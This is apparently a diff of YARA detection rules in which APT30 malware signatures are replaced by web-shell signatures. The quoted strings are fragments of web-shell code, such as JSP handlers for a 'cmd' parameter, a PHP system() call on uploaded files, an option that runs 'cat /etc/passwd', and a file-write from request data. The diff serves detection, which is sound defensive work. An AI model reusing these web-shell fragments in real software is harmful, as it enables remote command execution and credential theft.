-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L165-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5ccf1f1334dc300d13aa8dbc080d2d839815d102958fde2b8709c11f522412fd"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1205-L1218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b39544415e692a567455ff033a97a682"
+		logic_hash = "e523a5b1118c6f4d5798f130c00466c7945d27a6fbe0d4cb3a40b7f36da2a502"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
-		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
-		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
-		hash4 = "a813eba27b2166620bd75029cc1f04b0"
-		hash5 = "b5546842e08950bc17a438d785b5a019"
 
 	strings:
-		$s0 = "Nkfvtyvn}" ascii
-		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_8 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Cmd
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmd.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5053c2db-32a9-58ae-9a72-eb16ef14168e"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L185-L201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
-		logic_hash = "bff21d517e97d2b13dff2b5ebc9a5b82b8f7635943c89f992b41d269623cd498"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1220-L1233"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5391c4a8af1ede757ba9d28865e75853"
+		logic_hash = "e48d4e2d14a3605fd9dda03630820a0fb53d893cc4d283739fde11f9ab7d9d1e"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "ateProcessA" ascii
-		$s1 = "Ternel32.dllFQ" fullword ascii
-		$s2 = "StartupInfoAModuleHand" fullword ascii
-		$s3 = "OpenMutex" fullword ascii
+		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_B : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_K81
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file k81.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "df3b8896-7229-5b3b-ad2f-774b0cea167c"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L203-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "527c823607836f138369224b7d8d492d36d9ab7a150e64fd5ebbaf99538d6d53"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1235-L1249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "41efc5c71b6885add9c1d516371bd6af"
+		logic_hash = "f9c6b5bec9313c6fd059055fa18332675838419bba3348bb852b50806f26ccb2"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
-		hash2 = "29395c528693b69233c1c12bef8a64b3"
-		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
-		hash4 = "550459b31d8dabaad1923565b7e50242"
-		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
-		hash6 = "853a20f5fc6d16202828df132c41a061"
-		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
 
 	strings:
-		$s2 = "Moziea/4.0" ascii
+		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
+		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Generic_I : FILE
+rule SIGNATURE_BASE_Webshell_ASP_Zehir
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file zehir.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55046e1a-731a-5418-9a7a-4fe1611c77d0"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L224-L240"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e6f0edcbf6e0590c8b4a558142053d5938e86d13d65787f02336dc2a173d5963"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1250-L1263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0061d800aee63ccaf41d2d62ec15985d"
+		logic_hash = "90920258017cf189da128dce477e71f0040bc66aefa6f018f64db64d22f60ae5"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fe211c7a081c1dac46e3935f7c614549"
-		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
 
 	strings:
-		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
-		$s1 = "(Prxy%c-%s:%u)" fullword ascii
-		$s2 = "Google Inc." fullword wide
+		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_9 : FILE
+rule SIGNATURE_BASE_Webshell_Worse_Linux_Shell_1
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Worse Linux Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf24bb57-aff9-579c-b8a2-265a6d2a06d0"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L242-L263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "442bf8690401a2087a340ce4a48151c39101652f"
-		logic_hash = "0c5465bdafcbca02f855a0cba1fbb4c19d8d21b714dbe777b942dcd1a7acb257"
-		score = 75
+		old_rule_name = "webshell_Worse_Linux_Shell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1264-L1278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
+		logic_hash = "a24e7ae7c722da7f265f032315b1e8e402c2fc4a2a54a685671a9e52124f6553"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Windo" ascii
-		$s2 = "oHHOSTR" ascii
-		$s3 = "Softwa]\\Mic" ascii
-		$s4 = "Startup'T" ascii
-		$s6 = "Ora\\%^" ascii
-		$s7 = "\\Ohttp=r" ascii
-		$s17 = "help32Snapshot0L" ascii
-		$s18 = "TimUmoveH" ascii
-		$s20 = "WideChc[lobalAl" ascii
+		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_10 : FILE
+rule SIGNATURE_BASE_Webshell_Zacosmall
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file zacosmall.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L264-L283"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
-		logic_hash = "5a6bd8223fbce133bd11b903edfd7f8ff5a436e26a47c048a5ac606ad4a0b564"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1279-L1292"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5295ee8dc2f5fd416be442548d68f7a6"
+		logic_hash = "739d58e3ab6712c703e0cb0e0070afec3376844b77ed081a5d12407cabb62319"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Version 4.7.3001" fullword wide
-		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
-		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
-		$s3 = "!! Use Connect Method !!" fullword ascii
-		$s4 = "(Prxy%c-%s:%u)" fullword ascii
-		$s5 = "msmsgs" fullword wide
-		$s18 = "(Prxy-No)" fullword ascii
+		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_11 : FILE
+rule SIGNATURE_BASE_Webshell_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L285-L312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
-		logic_hash = "5e86b53591caa7c783a946205a3d04f91c71294d844e6f6ee88c3bc78e603ea0"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1293-L1306"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
+		logic_hash = "9630fc0371193bfbd0bd4fb15856477e7739fc9f11ee539d119ee837b1a54502"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
-		$s1 = "msofscan.exe" fullword wide
-		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
-		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
-		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
-		$s9 = "NetEagle_Scout - " fullword ascii
-		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
-		$s11 = "Windows 3.1(Win32s)" fullword ascii
-		$s12 = "%s%s%s %s" fullword ascii
-		$s13 = "Server 4.0" fullword ascii
-		$s15 = "Windows Millennium Edition" fullword ascii
-		$s16 = "msofscan" fullword wide
-		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
-		$s18 = "Workstation 4.0" fullword ascii
-		$s19 = "2003 Microsoft Office system" fullword wide
+		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_12 : FILE
+rule SIGNATURE_BASE_Webshell_Redirect
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file redirect.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L314-L329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
-		logic_hash = "997c91267f956bd7d2a7edca9817ebc80bbf1eed944b3bc01cc8bb01927deb1e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1307-L1320"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "97da83c6e3efbba98df270cc70beb8f8"
+		logic_hash = "b16026623fe7802db9823ad4a3dab051747eea6bd41ce72a0c8c6757bfa2c6f7"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Richic" fullword ascii
-		$s1 = "Accept: image/gif, */*" fullword ascii
-		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii
+		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "
 
 	condition:
-		filesize <250KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_13 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Cmdjsp
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file cmdjsp.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L331-L349"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
-		logic_hash = "cd5285e8b78493b64704cec21c13d0a017d66936aa8356cfea2aa77c6f87b9e7"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1321-L1334"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b815611cc39f17f05a73444d699341d4"
+		logic_hash = "b4822e47a27c598be746ac71bf9b60dafe08d50c83a2dfee5e40ea384fcff21a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "msofscan.exe" fullword wide
-		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
-		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
-		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
-		$s4 = "msofscan" fullword wide
-		$s6 = "2003 Microsoft Office system" fullword wide
+		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_14 : FILE
+rule SIGNATURE_BASE_Webshell_Java_Shell
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file Java Shell.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L351-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
-		logic_hash = "e5f352b1aa643b9508c01bbe921197ebd8992ec94036b869c55970f0177164d3"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1335-L1349"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
+		logic_hash = "0d313ff81a36b456326df0054853c31d69710fc142fcfa65747691238af4e635"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "AdobeReader.exe" fullword wide
-		$s4 = "10.1.7.27" fullword wide
-		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
-		$s8 = "Adobe Reader" fullword wide
+		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
+		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT30_Sample_15 : FILE
+rule SIGNATURE_BASE_Webshell_Asp_1D
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file 1d.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L369-L387"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
-		logic_hash = "5179f39bdcb064f55479ad147a019dd0b3874783c6bad650e84cfd9d0430bb70"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1350-L1363"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fad7504ca8a55d4453e552621f81563c"
+		logic_hash = "85b17fde8fb535b64e5eabc887428d9b73adc5bc6741a3a387f235a8b0c6089a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Windo" ascii
-		$s2 = "HHOSTR" ascii
-		$s3 = "Softwa]\\Mic" ascii
-		$s4 = "Startup'T" fullword ascii
-		$s17 = "help32Snapshot0L" fullword ascii
-		$s18 = "TimUmoveH" ascii
+		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_16 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Ixrbe
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file IXRbE.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L389-L407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
-		logic_hash = "59ea90ac0590bd87a48fabf1a3fa7ece31560b980b738a34227937bbf82a1c55"
-		score = 75
-		quality = 60
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1364-L1377"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
+		logic_hash = "8710d092b81c5de1e328ad6e57e5c4a25748cc92844198038c103dabc1e76e77"
+		score = 70
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Temp1020.txt" ascii
-		$s1 = "cmcbqyjs" fullword ascii
-		$s2 = "SPVSWh\\" fullword ascii
-		$s4 = "PSShxw@" fullword ascii
-		$s5 = "VWhHw@" fullword ascii
-		$s7 = "SVWhHw@" fullword ascii
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Generic_A : FILE
+rule SIGNATURE_BASE_Webshell_PHP_G5
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file G5.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6b851d94-d3bd-5c76-8fd0-adb42b3fab73"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L409-L429"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c20660a8a55c6c6cb058fb233e0b29e1e4be2683181dbdfb06e17037d0ed8c31"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1378-L1391"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95b4a56140a650c74ed2ec36f08d757f"
+		logic_hash = "2edffbea5142ef146cec57cb88b473532f56ab3e95151c5648eaeabe6a75feda"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
-		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
-		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
-		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
-		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
 
 	strings:
-		$s5 = "WPVWhhiA" fullword ascii
-		$s6 = "VPWVhhiA" fullword ascii
-		$s11 = "VPhhiA" fullword ascii
-		$s12 = "uUhXiA" fullword ascii
+		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"
 
 	condition:
-		filesize <100KB and uint16(0)==0x5A4D and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT30_Sample_17 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_R57142
 {
 	meta:
-		description = "FireEye APT30 Report Sample"
+		description = "Web Shell - file r57142.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5dd6bc9-9383-5d48-92df-709996373655"
-		date = "2015-04-13"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt30_backspace.yar#L431-L445"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
